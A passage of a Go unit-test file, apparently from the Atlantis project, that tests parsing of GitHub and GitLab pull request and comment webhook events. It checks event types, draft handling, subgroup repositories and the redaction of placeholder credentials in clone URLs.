parser.ParseGithubIssueCommentEvent(logger, &comment)\n\tOk(t, err)\n\tEquals(t, models.Repo{\n\t\tOwner:             *comment.Repo.Owner.Login,\n\t\tFullName:          *comment.Repo.FullName,\n\t\tCloneURL:          \"https://github-user:github-token@github.com/owner/repo.git\",\n\t\tSanitizedCloneURL: \"https://github-user:<redacted>@github.com/owner/repo.git\",\n\t\tName:              \"repo\",\n\t\tVCSHost: models.VCSHost{\n\t\t\tHostname: \"github.com\",\n\t\t\tType:     models.Github,\n\t\t},\n\t}, repo)\n\tEquals(t, models.User{\n\t\tUsername: *comment.Comment.User.Login,\n\t}, user)\n\tEquals(t, *comment.Issue.Number, pullNum)\n}\n\nfunc TestParseGithubPullEvent(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\t_, _, _, _, _, err := parser.ParseGithubPullEvent(logger, &github.PullRequestEvent{})\n\tErrEquals(t, \"pull_request is null\", err)\n\n\ttestEvent := deepcopy.Copy(githubtestdata.PullEvent).(github.PullRequestEvent)\n\ttestEvent.PullRequest.HTMLURL = nil\n\t_, _, _, _, _, err = parser.ParseGithubPullEvent(logger, &testEvent)\n\tErrEquals(t, \"html_url is null\", err)\n\n\ttestEvent = deepcopy.Copy(githubtestdata.PullEvent).(github.PullRequestEvent)\n\ttestEvent.Sender = nil\n\t_, _, _, _, _, err = parser.ParseGithubPullEvent(logger, &testEvent)\n\tErrEquals(t, \"sender is null\", err)\n\n\ttestEvent = deepcopy.Copy(githubtestdata.PullEvent).(github.PullRequestEvent)\n\ttestEvent.Sender.Login = nil\n\t_, _, _, _, _, err = parser.ParseGithubPullEvent(logger, &testEvent)\n\tErrEquals(t, \"sender.login is null\", err)\n\n\tactPull, evType, actBaseRepo, actHeadRepo, actUser, err := parser.ParseGithubPullEvent(logger, &githubtestdata.PullEvent)\n\tOk(t, err)\n\texpBaseRepo := models.Repo{\n\t\tOwner:             \"owner\",\n\t\tFullName:          \"owner/repo\",\n\t\tCloneURL:          \"https://github-user:github-token@github.com/owner/repo.git\",\n\t\tSanitizedCloneURL: \"https://github-user:<redacted>@github.com/owner/repo.git\",\n\t\tName:              \"repo\",\n\t\tVCSHost: models.VCSHost{\n\t\t\tHostname: \"github.com\",\n\t\t\tType:     models.Github,\n\t\t},\n\t}\n\tEquals(t, expBaseRepo, actBaseRepo)\n\tEquals(t, expBaseRepo, actHeadRepo)\n\tEquals(t, models.PullRequest{\n\t\tURL:        githubtestdata.Pull.GetHTMLURL(),\n\t\tAuthor:     githubtestdata.Pull.User.GetLogin(),\n\t\tHeadBranch: githubtestdata.Pull.Head.GetRef(),\n\t\tBaseBranch: githubtestdata.Pull.Base.GetRef(),\n\t\tHeadCommit: githubtestdata.Pull.Head.GetSHA(),\n\t\tNum:        githubtestdata.Pull.GetNumber(),\n\t\tState:      models.OpenPullState,\n\t\tBaseRepo:   expBaseRepo,\n\t}, actPull)\n\tEquals(t, models.OpenedPullEvent, evType)\n\tEquals(t, models.User{Username: \"user\"}, actUser)\n}\n\nfunc TestParseGithubPullEventFromDraft(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\t// verify that close event treated as 'close' events by default\n\tcloseEvent := deepcopy.Copy(githubtestdata.PullEvent).(github.PullRequestEvent)\n\tcloseEvent.Action = github.Ptr(\"closed\")\n\tcloseEvent.PullRequest.Draft = github.Ptr(true)\n\n\t_, evType, _, _, _, err := parser.ParseGithubPullEvent(logger, &closeEvent)\n\tOk(t, err)\n\tEquals(t, models.ClosedPullEvent, evType)\n\n\t// verify that draft PRs are treated as 'other' events by default\n\ttestEvent := deepcopy.Copy(githubtestdata.PullEvent).(github.PullRequestEvent)\n\ttestEvent.PullRequest.Draft = github.Ptr(true)\n\t_, evType, _, _, _, err = parser.ParseGithubPullEvent(logger, &testEvent)\n\tOk(t, err)\n\tEquals(t, models.OtherPullEvent, evType)\n\t// verify that drafts are planned if requested\n\tparser.AllowDraftPRs = true\n\tdefer func() { parser.AllowDraftPRs = false }()\n\t_, evType, _, _, _, err = parser.ParseGithubPullEvent(logger, &testEvent)\n\tOk(t, err)\n\tEquals(t, models.OpenedPullEvent, evType)\n}\n\nfunc TestParseGithubPullEvent_EventType(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tcases := []struct {\n\t\taction   string\n\t\texp      models.PullRequestEventType\n\t\tdraftExp models.PullRequestEventType\n\t}{\n\t\t{\n\t\t\taction:   \"synchronize\",\n\t\t\texp:      models.UpdatedPullEvent,\n\t\t\tdraftExp: models.OtherPullEvent,\n\t\t},\n\t\t{\n\t\t\taction:   \"unassigned\",\n\t\t\texp:      models.OtherPullEvent,\n\t\t\tdraftExp: models.OtherPullEvent,\n\t\t},\n\t\t{\n\t\t\taction:   \"review_requested\",\n\t\t\texp:      models.OtherPullEvent,\n\t\t\tdraftExp: models.OtherPullEvent,\n\t\t},\n\t\t{\n\t\t\taction:   \"review_request_removed\",\n\t\t\texp:      models.OtherPullEvent,\n\t\t\tdraftExp: models.OtherPullEvent,\n\t\t},\n\t\t{\n\t\t\taction:   \"labeled\",\n\t\t\texp:      models.OtherPullEvent,\n\t\t\tdraftExp: models.OtherPullEvent,\n\t\t},\n\t\t{\n\t\t\taction:   \"unlabeled\",\n\t\t\texp:      models.OtherPullEvent,\n\t\t\tdraftExp: models.OtherPullEvent,\n\t\t},\n\t\t{\n\t\t\taction:   \"opened\",\n\t\t\texp:      models.OpenedPullEvent,\n\t\t\tdraftExp: models.OtherPullEvent,\n\t\t},\n\t\t{\n\t\t\taction:   \"edited\",\n\t\t\texp:      models.OtherPullEvent,\n\t\t\tdraftExp: models.OtherPullEvent,\n\t\t},\n\t\t{\n\t\t\taction:   \"closed\",\n\t\t\texp:      models.ClosedPullEvent,\n\t\t\tdraftExp: models.ClosedPullEvent,\n\t\t},\n\t\t{\n\t\t\taction:   \"reopened\",\n\t\t\texp:      models.OtherPullEvent,\n\t\t\tdraftExp: models.OtherPullEvent,\n\t\t},\n\t\t{\n\t\t\taction:   \"ready_for_review\",\n\t\t\texp:      models.OpenedPullEvent,\n\t\t\tdraftExp: models.OtherPullEvent,\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.action, func(t *testing.T) {\n\t\t\t// Test normal parsing\n\t\t\tevent := deepcopy.Copy(githubtestdata.PullEvent).(github.PullRequestEvent)\n\t\t\taction := c.action\n\t\t\tevent.Action = &action\n\t\t\t_, actType, _, _, _, err := parser.ParseGithubPullEvent(logger, &event)\n\t\t\tOk(t, err)\n\t\t\tEquals(t, c.exp, actType)\n\t\t\t// Test draft parsing when draft PRs disabled\n\t\t\tdraftPR := true\n\t\t\tevent.PullRequest.Draft = &draftPR\n\t\t\t_, draftEvType, _, _, _, err := parser.ParseGithubPullEvent(logger, &event)\n\t\t\tOk(t, err)\n\t\t\tEquals(t, c.draftExp, draftEvType)\n\t\t\t// Test draft parsing when draft PRs are enabled.\n\t\t\tdraftParser := parser\n\t\t\tdraftParser.AllowDraftPRs = true\n\t\t\t_, draftEvType, _, _, _, err = draftParser.ParseGithubPullEvent(logger, &event)\n\t\t\tOk(t, err)\n\t\t\tEquals(t, c.exp, draftEvType)\n\t\t})\n\t}\n}\n\nfunc TestParseGithubPull(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\ttestPull := deepcopy.Copy(githubtestdata.Pull).(github.PullRequest)\n\ttestPull.Head.SHA = nil\n\t_, _, _, err := parser.ParseGithubPull(logger, &testPull)\n\tErrEquals(t, \"head.sha is null\", err)\n\n\ttestPull = deepcopy.Copy(githubtestdata.Pull).(github.PullRequest)\n\ttestPull.HTMLURL = nil\n\t_, _, _, err = parser.ParseGithubPull(logger, &testPull)\n\tErrEquals(t, \"html_url is null\", err)\n\n\ttestPull = deepcopy.Copy(githubtestdata.Pull).(github.PullRequest)\n\ttestPull.Head.Ref = nil\n\t_, _, _, err = parser.ParseGithubPull(logger, &testPull)\n\tErrEquals(t, \"head.ref is null\", err)\n\n\ttestPull = deepcopy.Copy(githubtestdata.Pull).(github.PullRequest)\n\ttestPull.Base.Ref = nil\n\t_, _, _, err = parser.ParseGithubPull(logger, &testPull)\n\tErrEquals(t, \"base.ref is null\", err)\n\n\ttestPull = deepcopy.Copy(githubtestdata.Pull).(github.PullRequest)\n\ttestPull.User.Login = nil\n\t_, _, _, err = parser.ParseGithubPull(logger, &testPull)\n\tErrEquals(t, \"user.login is null\", err)\n\n\ttestPull = deepcopy.Copy(githubtestdata.Pull).(github.PullRequest)\n\ttestPull.Number = nil\n\t_, _, _, err = parser.ParseGithubPull(logger, &testPull)\n\tErrEquals(t, \"number is null\", err)\n\n\tpullRes, actBaseRepo, actHeadRepo, err := parser.ParseGithubPull(logger, &githubtestdata.Pull)\n\tOk(t, err)\n\texpBaseRepo := models.Repo{\n\t\tOwner:             \"owner\",\n\t\tFullName:          \"owner/repo\",\n\t\tCloneURL:          \"https://github-user:github-token@github.com/owner/repo.git\",\n\t\tSanitizedCloneURL: \"https://github-user:<redacted>@github.com/owner/repo.git\",\n\t\tName:              \"repo\",\n\t\tVCSHost: models.VCSHost{\n\t\t\tHostname: \"github.com\",\n\t\t\tType:     models.Github,\n\t\t},\n\t}\n\tEquals(t, models.PullRequest{\n\t\tURL:        githubtestdata.Pull.GetHTMLURL(),\n\t\tAuthor:     githubtestdata.Pull.User.GetLogin(),\n\t\tHeadBranch: githubtestdata.Pull.Head.GetRef(),\n\t\tBaseBranch: githubtestdata.Pull.Base.GetRef(),\n\t\tHeadCommit: githubtestdata.Pull.Head.GetSHA(),\n\t\tNum:        githubtestdata.Pull.GetNumber(),\n\t\tState:      models.OpenPullState,\n\t\tBaseRepo:   expBaseRepo,\n\t}, pullRes)\n\tEquals(t, expBaseRepo, actBaseRepo)\n\tEquals(t, expBaseRepo, actHeadRepo)\n}\n\nfunc TestParseGitlabMergeEvent(t *testing.T) {\n\tt.Log(\"should properly parse a gitlab merge event\")\n\tpath := filepath.Join(\"testdata\", \"gitlab-merge-request-event.json\")\n\tbytes, err := os.ReadFile(path)\n\tOk(t, err)\n\tvar event *gitlab.MergeEvent\n\terr = json.Unmarshal(bytes, &event)\n\tOk(t, err)\n\tpull, evType, actBaseRepo, actHeadRepo, actUser, err := parser.ParseGitlabMergeRequestEvent(*event)\n\tOk(t, err)\n\n\texpBaseRepo := models.Repo{\n\t\tFullName:          \"lkysow/atlantis-example\",\n\t\tName:              \"atlantis-example\",\n\t\tSanitizedCloneURL: \"https://gitlab-user:<redacted>@gitlab.com/lkysow/atlantis-example.git\",\n\t\tOwner:             \"lkysow\",\n\t\tCloneURL:          \"https://gitlab-user:gitlab-token@gitlab.com/lkysow/atlantis-example.git\",\n\t\tVCSHost: models.VCSHost{\n\t\t\tHostname: \"gitlab.com\",\n\t\t\tType:     models.Gitlab,\n\t\t},\n\t}\n\n\tEquals(t, models.PullRequest{\n\t\tURL:        \"https://gitlab.com/lkysow/atlantis-example/merge_requests/12\",\n\t\tAuthor:     \"lkysow\",\n\t\tNum:        12,\n\t\tHeadCommit: \"d2eae324ca26242abca45d7b49d582cddb2a4f15\",\n\t\tHeadBranch: \"patch-1\",\n\t\tBaseBranch: \"main\",\n\t\tState:      models.OpenPullState,\n\t\tBaseRepo:   expBaseRepo,\n\t}, pull)\n\tEquals(t, models.OpenedPullEvent, evType)\n\n\tEquals(t, expBaseRepo, actBaseRepo)\n\tEquals(t, models.Repo{\n\t\tFullName:          \"sourceorg/atlantis-example\",\n\t\tName:              \"atlantis-example\",\n\t\tSanitizedCloneURL: \"https://gitlab-user:<redacted>@gitlab.com/sourceorg/atlantis-example.git\",\n\t\tOwner:             \"sourceorg\",\n\t\tCloneURL:          \"https://gitlab-user:gitlab-token@gitlab.com/sourceorg/atlantis-example.git\",\n\t\tVCSHost: models.VCSHost{\n\t\t\tHostname: \"gitlab.com\",\n\t\t\tType:     models.Gitlab,\n\t\t},\n\t}, actHeadRepo)\n\tEquals(t, models.User{Username: \"lkysow\"}, actUser)\n\n\tt.Log(\"If the state is closed, should set field correctly.\")\n\tevent.ObjectAttributes.State = \"closed\"\n\tpull, _, _, _, _, err = parser.ParseGitlabMergeRequestEvent(*event)\n\tOk(t, err)\n\tEquals(t, models.ClosedPullState, pull.State)\n}\n\nfunc TestParseGitlabMergeEventFromDraft(t *testing.T) {\n\tpath := filepath.Join(\"testdata\", \"gitlab-merge-request-event.json\")\n\tbytes, err := os.ReadFile(path)\n\tOk(t, err)\n\n\tvar event gitlab.MergeEvent\n\terr = json.Unmarshal(bytes, &event)\n\tOk(t, err)\n\n\ttestEvent := deepcopy.Copy(event).(gitlab.MergeEvent)\n\ttestEvent.ObjectAttributes.WorkInProgress = true\n\n\t_, evType, _, _, _, err := parser.ParseGitlabMergeRequestEvent(testEvent)\n\tOk(t, err)\n\tEquals(t, models.OtherPullEvent, evType)\n\n\tparser.AllowDraftPRs = true\n\tdefer func() { parser.AllowDraftPRs = false }()\n\t_, evType, _, _, _, err = parser.ParseGitlabMergeRequestEvent(testEvent)\n\tOk(t, err)\n\tEquals(t, models.OpenedPullEvent, evType)\n}\n\n// Should be able to parse a merge event from a repo that is in a subgroup,\n// i.e. instead of under an owner/repo it's under an owner/group/subgroup/repo.\nfunc TestParseGitlabMergeEvent_Subgroup(t *testing.T) {\n\tpath := filepath.Join(\"testdata\", \"gitlab-merge-request-event-subgroup.json\")\n\tbytes, err := os.ReadFile(path)\n\tOk(t, err)\n\tvar event *gitlab.MergeEvent\n\terr = json.Unmarshal(bytes, &event)\n\tOk(t, err)\n\tpull, evType, actBaseRepo, actHeadRepo, actUser, err := parser.ParseGitlabMergeRequestEvent(*event)\n\tOk(t, err)\n\n\texpBaseRepo := models.Repo{\n\t\tFullName:          \"lkysow-test/subgroup/sub-subgroup/atlantis-example\",\n\t\tName:              \"atlantis-example\",\n\t\tSanitizedCloneURL: \"https://gitlab-user:<redacted>@gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git\",\n\t\tOwner:             \"lkysow-test/subgroup/sub-subgroup\",\n\t\tCloneURL:          \"https://gitlab-user:gitlab-token@gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git\",\n\t\tVCSHost: models.VCSHost{\n\t\t\tHostname: \"gitlab.com\",\n\t\t\tType:     models.Gitlab,\n\t\t},\n\t}\n\n\tEquals(t, models.PullRequest{\n\t\tURL:        \"https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example/merge_requests/2\",\n\t\tAuthor:     \"lkysow\",\n\t\tNum:        2,\n\t\tHeadCommit: \"901d9770ef1a6862e2a73ec1bacc73590abb9aff\",\n\t\tHeadBranch: \"patch\",\n\t\tBaseBranch: \"main\",\n\t\tState:      models.OpenPullState,\n\t\tBaseRepo:   expBaseRepo,\n\t}, pull)\n\tEquals(t, models.OpenedPullEvent, evType)\n\n\tEquals(t, expBaseRepo, actBaseRepo)\n\tEquals(t, models.Repo{\n\t\tFullName:          \"lkysow-test/subgroup/sub-subgroup/atlantis-example\",\n\t\tName:              \"atlantis-example\",\n\t\tSanitizedCloneURL: \"https://gitlab-user:<redacted>@gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git\",\n\t\tOwner:             \"lkysow-test/subgroup/sub-subgroup\",\n\t\tCloneURL:          \"https://gitlab-user:gitlab-token@gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git\",\n\t\tVCSHost: models.VCSHost{\n\t\t\tHostname: \"gitlab.com\",\n\t\t\tType:     models.Gitlab,\n\t\t},\n\t}, actHeadRepo)\n\tEquals(t, models.User{Username: \"lkysow\"}, actUser)\n}\n\nfunc TestParseGitlabMergeEvent_Update_ActionType(t *testing.T) {\n\tcases := []struct {\n\t\tfilename string\n\t\texp      models.PullRequestEventType\n\t}{\n\t\t{\n\t\t\tfilename: \"gitlab-merge-request-event-update-title.json\",\n\t\t\texp:      models.OtherPullEvent,\n\t\t},\n\t\t{\n\t\t\tfilename: \"gitlab-merge-request-event-update-new-commit.json\",\n\t\t\texp:      models.UpdatedPullEvent,\n\t\t},\n\t\t{\n\t\t\tfilename: \"gitlab-merge-request-event-update-labels.json\",\n\t\t\texp:      models.OtherPullEvent,\n\t\t},\n\t\t{\n\t\t\tfilename: \"gitlab-merge-request-event-update-description.json\",\n\t\t\texp:      models.OtherPullEvent,\n\t\t},\n\t\t{\n\t\t\tfilename: \"gitlab-merge-request-event-update-assignee.json\",\n\t\t\texp:      models.OtherPullEvent,\n\t\t},\n\t\t{\n\t\t\tfilename: \"gitlab-merge-request-event-update-mixed.json\",\n\t\t\texp:      models.OtherPullEvent,\n\t\t},\n\t\t{\n\t\t\tfilename: \"gitlab-merge-request-event-update-target-branch.json\",\n\t\t\texp:      models.OtherPullEvent,\n\t\t},\n\t\t{\n\t\t\tfilename: \"gitlab-merge-request-event-update-reviewer.json\",\n\t\t\texp:      models.OtherPullEvent,\n\t\t},\n\t\t{\n\t\t\tfilename: \"gitlab-merge-request-event-update-milestone.json\",\n\t\t\texp:      models.OtherPullEvent,\n\t\t},\n\t\t{\n\t\t\tfilename: \"gitlab-merge-request-event-mark-as-ready.json\",\n\t\t\texp:      models.UpdatedPullEvent,\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.filename, func(t *testing.T) {\n\t\t\tpath := filepath.Join(\"testdata\", c.filename)\n\t\t\tbytes, err := os.ReadFile(path)\n\t\t\tOk(t, err)\n\n\t\t\tvar event *gitlab.MergeEvent\n\t\t\terr = json.Unmarshal(bytes, &event)\n\t\t\tOk(t, err)\n\t\t\t_, evType, _, _, _, err := parser.ParseGitlabMergeRequestEvent(*event)\n\t\t\tOk(t, err)\n\t\t\tEquals(t, c.exp, evType)\n\t\t})\n\t}\n}\n\nfunc TestParseGitlabMergeEvent_ActionType(t *testing.T) {\n\tcases := []struct {\n\t\taction string\n\t\texp    models.PullRequestEventType\n\t}{\n\t\t{\n\t\t\taction: \"open\",\n\t\t\texp:    models.OpenedPullEvent,\n\t\t},\n\t\t{\n\t\t\taction: \"merge\",\n\t\t\texp:    models.ClosedPullEvent,\n\t\t},\n\t\t{\n\t\t\taction: \"close\",\n\t\t\texp:    models.ClosedPullEvent,\n\t\t},\n\t\t{\n\t\t\taction: \"other\",\n\t\t\texp:    models.OtherPullEvent,\n\t\t},\n\t}\n\n\tpath := filepath.Join(\"testdata\", \"gitlab-merge-request-event.json\")\n\tbytes, err := os.ReadFile(path)\n\tOk(t, err)\n\tmergeEventJSON := string(bytes)\n\n\tfor _, c := range cases {\n\t\tt.Run(c.action, func(t *testing.T) {\n\t\t\tvar event *gitlab.MergeEvent\n\t\t\terr = json.Unmarshal(bytes, &event)\n\t\t\tOk(t, err)\n\t\t\teventJSON := strings.Replace(mergeEventJSON, `\"action\": \"open\"`, fmt.Sprintf(`\"action\": %q`, c.action), 1)\n\t\t\terr := json.Unmarshal([]byte(eventJSON), &event)\n\t\t\tOk(t, err)\n\t\t\t_, evType, _, _, _, err := parser.ParseGitlabMergeRequestEvent(*event)\n\t\t\tOk(t, err)\n\t\t\tEquals(t, c.exp, evType)\n\t\t})\n\t}\n}\n\nfunc TestParseGitlabMergeRequest(t *testing.T) {\n\tt.Log(\"should properly parse a gitlab merge request\")\n\tpath := filepath.Join(\"testdata\", \"gitlab-get-merge-request.json\")\n\tbytes, err := os.ReadFile(path)\n\tif err != nil {\n\t\tOk(t, err)\n\t}\n\tvar event *gitlab.MergeRequest\n\terr = json.Unmarshal(bytes, &event)\n\tOk(t, err)\n\trepo := models.Repo{\n\t\tFullName:          \"gitlabhq/gitlab-test\",\n\t\tName:              \"gitlab-test\",\n\t\tSanitizedCloneURL: \"https://gitlab-user:<redacted>@example.com/gitlabhq/gitlab-test.git\",\n\t\tOwner:             \"gitlabhq\",\n\t\tCloneURL:          \"https://gitlab-user:gitlab-token@example.com/gitlabhq/gitlab-test.git\",\n\t\tVCSHost: models.VCSHost{\n\t\t\tHostname: \"example.com\",\n\t\t\tType:     models.Gitlab,\n\t\t},\n\t}\n\tpull := parser.ParseGitlabMergeRequest(event, repo)\n\tEquals(t, models.PullRequest{\n\t\tURL:        \"https://gitlab.com/lkysow/atlantis-example/merge_requests/8\",\n\t\tAuthor:     \"lkysow\",\n\t\tNum:        8,\n\t\tHeadCommit: \"0b4ac85ea3063ad5f2974d10cd68dd1f937aaac2\",\n\t\tHeadBranch: \"abc\",\n\t\tBaseBranch: \"main\",\n\t\tState:      models.OpenPullState,\n\t\tBaseRepo:   repo,\n\t}, pull)\n\n\tt.Log(\"If the state is closed, should set field correctly.\")\n\tevent.State = \"closed\"\n\tpull = parser.ParseGitlabMergeRequest(event, repo)\n\tEquals(t, models.ClosedPullState, pull.State)\n}\n\nfunc TestParseGitlabMergeRequest_Subgroup(t *testing.T) {\n\tpath := filepath.Join(\"testdata\", \"gitlab-get-merge-request-subgroup.json\")\n\tbytes, err := os.ReadFile(path)\n\tif err != nil {\n\t\tOk(t, err)\n\t}\n\tvar event *gitlab.MergeRequest\n\terr = json.Unmarshal(bytes, &event)\n\tOk(t, err)\n\n\trepo := models.Repo{\n\t\tFullName:          \"lkysow-test/subgroup/sub-subgroup/atlantis-example\",\n\t\tName:              \"atlantis-example\",\n\t\tSanitizedCloneURL: \"https://gitlab-user:<redacted>@gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git\",\n\t\tOwner:             \"lkysow-test/subgroup/sub-subgroup\",\n\t\tCloneURL:          \"https://gitlab-user:gitlab-token@gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git\",\n\t\tVCSHost: models.VCSHost{\n\t\t\tHostname: \"gitlab.com\",\n\t\t\tType:     models.Gitlab,\n\t\t},\n\t}\n\tpull := parser.ParseGitlabMergeRequest(event, repo)\n\tEquals(t, models.PullRequest{\n\t\tURL:        \"https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example/merge_requests/2\",\n\t\tAuthor:     \"lkysow\",\n\t\tNum:        2,\n\t\tHeadCommit: \"901d9770ef1a6862e2a73ec1bacc73590abb9aff\",\n\t\tHeadBranch: \"patch\",\n\t\tBaseBranch: \"main\",\n\t\tState:      models.OpenPullState,\n\t\tBaseRepo:   repo,\n\t}, pull)\n}\n\nfunc TestParseGitlabMergeCommentEvent(t *testing.T) {\n\tt.Log(\"should properly parse a gitlab merge comment event\")\n\tpath := filepath.Join(\"testdata\", \"gitlab-merge-request-comment-event.json\")\n\tbytes, err := os.ReadFile(path)\n\tOk(t, err)\n\tvar event *gitlab.MergeCommentEvent\n\terr = json.Unmarshal(bytes, &event)\n\tOk(t, err)\n\tbaseRepo, headRepo, commentID, user, err := parser.ParseGitlabMergeRequestCommentEvent(*event)\n\tOk(t, err)\n\tEquals(t, models.Repo{\n\t\tFullName:          \"gitlabhq/gitlab-test\",\n\t\tName:              \"gitlab-test\",\n\t\tSanitizedCloneURL: \"https://gitlab-user:<redacted>@example.com/gitlabhq/gitlab-test.git\",\n\t\tOwner:             \"gitlabhq\",\n\t\tCloneURL:          \"https://gitlab-user:gitlab-token@example.com/gitlabhq/gitlab-test.git\",\n\t\tVCSHost: models.VCSHost{\n\t\t\tHostname: \"example.com\",\n\t\t\tType:     models.Gitlab,\n\t\t},\n\t}, baseRepo)\n\tEquals(t, models.Repo{\n\t\tFullName:          \"gitlab-org/gitlab-test\",\n\t\tName:              \"gitlab-test\",\n\t\tSanitizedCloneURL: \"https://gitlab-user:<redacted>@example.com/gitlab-org/gitlab-test.git\",\n\t\tOwner:             \"gitlab-org\",\n\t\tCloneURL:          \"https://gitlab-user:gitlab-token@example.com/gitlab-org/gitlab-test.git\",\n\t\tVCSHost: models.VCSHost{\n\t\t\tHostname: \"example.com\",\n\t\t\tType:     models.Gitlab,\n\t\t},\n\t}, headRepo)\n\tEquals(t, 1244, commentID)\n\tEquals(t, models.User{\n\t\tUsername: \"root\",\n\t}, user)\n}\n\n// Should properly parse a gitlab merge comment event from a subgroup repo.\nfunc TestParseGitlabMergeCommentEvent_Subgroup(t *testing.T) {\n\tpath := filepath.Join(\"testdata\", \"gitlab-merge-request-comment-event-subgroup.json\")\n\tbytes, err := os.ReadFile(path)\n\tOk(t, err)\n\tvar event *gitlab.MergeCommentEvent\n\terr = json.Unmarshal(bytes, &event)\n\tOk(t, err)\n\tbaseRepo, headRepo, commentID, user, err := parser.ParseGitlabMergeRequestCommentEvent(*event)\n\tOk(t, err)\n\n\tEquals(t, models.Repo{\n\t\tFullName:          \"lkysow-test/subgroup/sub-subgroup/atlantis-example\",\n\t\tName:              \"atlantis-example\",\n\t\tSanitizedCloneURL: \"https://gitlab-user:<redacted>@gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git\",\n\t\tOwner:             \"lkysow-test/subgroup/sub-subgroup\",\n\t\tCloneURL:          \"https://gitlab-user:gitlab-token@gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git\",\n\t\tVCSHost: models.VCSHost{\n\t\t\tHostname: \"gitlab.com\",\n\t\t\tType:     models.Gitlab,\n\t\t},\n\t}, baseRepo)\n\tEquals(t, models.Repo{\n\t\tFullName:          \"lkysow-test/subgroup/sub-subgroup/atlantis-example\",\n\t\tName:              \"atlantis-example\",\n\t\tSanitizedCloneURL: \"https://gitlab-user:<redacted>@gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git\",\n\t\tOwner:             \"lkysow-test/subgroup/sub-subgroup\",\n\t\tCloneURL:          \"https://gitlab-user:gitlab-token@gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git\",\n\t\tVCSHost: models.VCSHost{\n\t\t\tHostname: \"gitlab.com\",\n\t\t\tType:     models.Gitlab,\n\t\t},\n\t}, headRepo)\n\tEquals(t, 96056916, commentID)\n\tEquals(t, models.User{\n\t\tUsername: \"lkysow\",\n\t}, user)\n}\n\nfunc TestNewCommand_CleansDir(t *testing.T) {\n\tcases := []struct {\n\t\tRepoRelDir string\n\t\tExpDir     string\n\t}{\n\t\t{\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"/\",\n\t\t\t\".\",\n\t\t},\n\t\t{\n\t\t\t\"./\",\n\t\t\t\".\",\n\t\t},\n\t\t// We rely on our callers to not pass in relative dirs.\n\t\t{\n\t\t\t\"..\",\n\t\t\t\"..\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.RepoRelDir, func(t *testing.T) {\n\t\t\tcmd := events.NewCommentCommand(c.RepoRelDir, nil, command.Plan, \"\", false, false, \"\", \"workspace\", \"\", \"\", false)\n\t\t\tEquals(t, c.ExpDir, cmd.RepoRelDir)\n\t\t})\n\t}\n}\n\nfunc TestNewCommand_EmptyDirWorkspaceProject(t *testing.T) {\n\tcmd := events.NewCommentCommand(\"\", nil, command.Plan, \"\", false, false, \"\", \"\", \"\", \"\", false)\n\tEquals(t, events.CommentCommand{\n\t\tRepoRelDir:  \"\",\n\t\tFlags:       nil,\n\t\tName:        command.Plan,\n\t\tVerbose:     false,\n\t\tWorkspace:   \"\",\n\t\tProjectName: \"\",\n\t}, *cmd)\n}\n\nfunc TestNewCommand_AllFieldsSet(t *testing.T) {\n\tcmd := events.NewCommentCommand(\"dir\", []string{\"a\", \"b\"}, command.Plan, \"\", true, false, \"\", \"workspace\", \"project\", \"policyset\", false)\n\tEquals(t, events.CommentCommand{\n\t\tWorkspace:   \"workspace\",\n\t\tRepoRelDir:  \"dir\",\n\t\tVerbose:     true,\n\t\tFlags:       []string{\"a\", \"b\"},\n\t\tName:        command.Plan,\n\t\tProjectName: \"project\",\n\t\tPolicySet:   \"policyset\",\n\t}, *cmd)\n}\n\nfunc TestAutoplanCommand_CommandName(t *testing.T) {\n\tEquals(t, command.Plan, (events.AutoplanCommand{}).CommandName())\n}\n\nfunc TestAutoplanCommand_IsVerbose(t *testing.T) {\n\tEquals(t, false, (events.AutoplanCommand{}).IsVerbose())\n}\n\nfunc TestAutoplanCommand_IsAutoplan(t *testing.T) {\n\tEquals(t, true, (events.AutoplanCommand{}).IsAutoplan())\n}\n\nfunc TestCommentCommand_CommandName(t *testing.T) {\n\tEquals(t, command.Plan, (events.CommentCommand{\n\t\tName: command.Plan,\n\t}).CommandName())\n\tEquals(t, command.Apply, (events.CommentCommand{\n\t\tName: command.Apply,\n\t}).CommandName())\n}\n\nfunc TestCommentCommand_IsVerbose(t *testing.T) {\n\tEquals(t, false, (events.CommentCommand{\n\t\tVerbose: false,\n\t}).IsVerbose())\n\tEquals(t, true, (events.CommentCommand{\n\t\tVerbose: true,\n\t}).IsVerbose())\n}\n\nfunc TestCommentCommand_IsAutoplan(t *testing.T) {\n\tEquals(t, false, (events.CommentCommand{}).IsAutoplan())\n}\n\nfunc TestCommentCommand_String(t *testing.T) {\n\texp := `command=\"plan\", verbose=true, dir=\"mydir\", workspace=\"myworkspace\", project=\"myproject\", policyset=\"\", auto-merge-disabled=false, auto-merge-method=, clear-policy-approval=false, flags=\"flag1,flag2\"`\n\tEquals(t, exp, (events.CommentCommand{\n\t\tRepoRelDir:  \"mydir\",\n\t\tFlags:       []string{\"flag1\", \"flag2\"},\n\t\tName:        command.Plan,\n\t\tVerbose:     true,\n\t\tWorkspace:   \"myworkspace\",\n\t\tProjectName: \"myproject\",\n\t}).String())\n}\n\nfunc TestParseBitbucketCloudCommentEvent_EmptyString(t *testing.T) {\n\t_, _, _, _, _, err := parser.ParseBitbucketCloudPullCommentEvent([]byte(\"\"))\n\tErrEquals(t, \"parsing json: unexpected end of JSON input\", err)\n}\n\nfunc TestParseBitbucketCloudCommentEvent_EmptyObject(t *testing.T) {\n\t_, _, _, _, _, err := 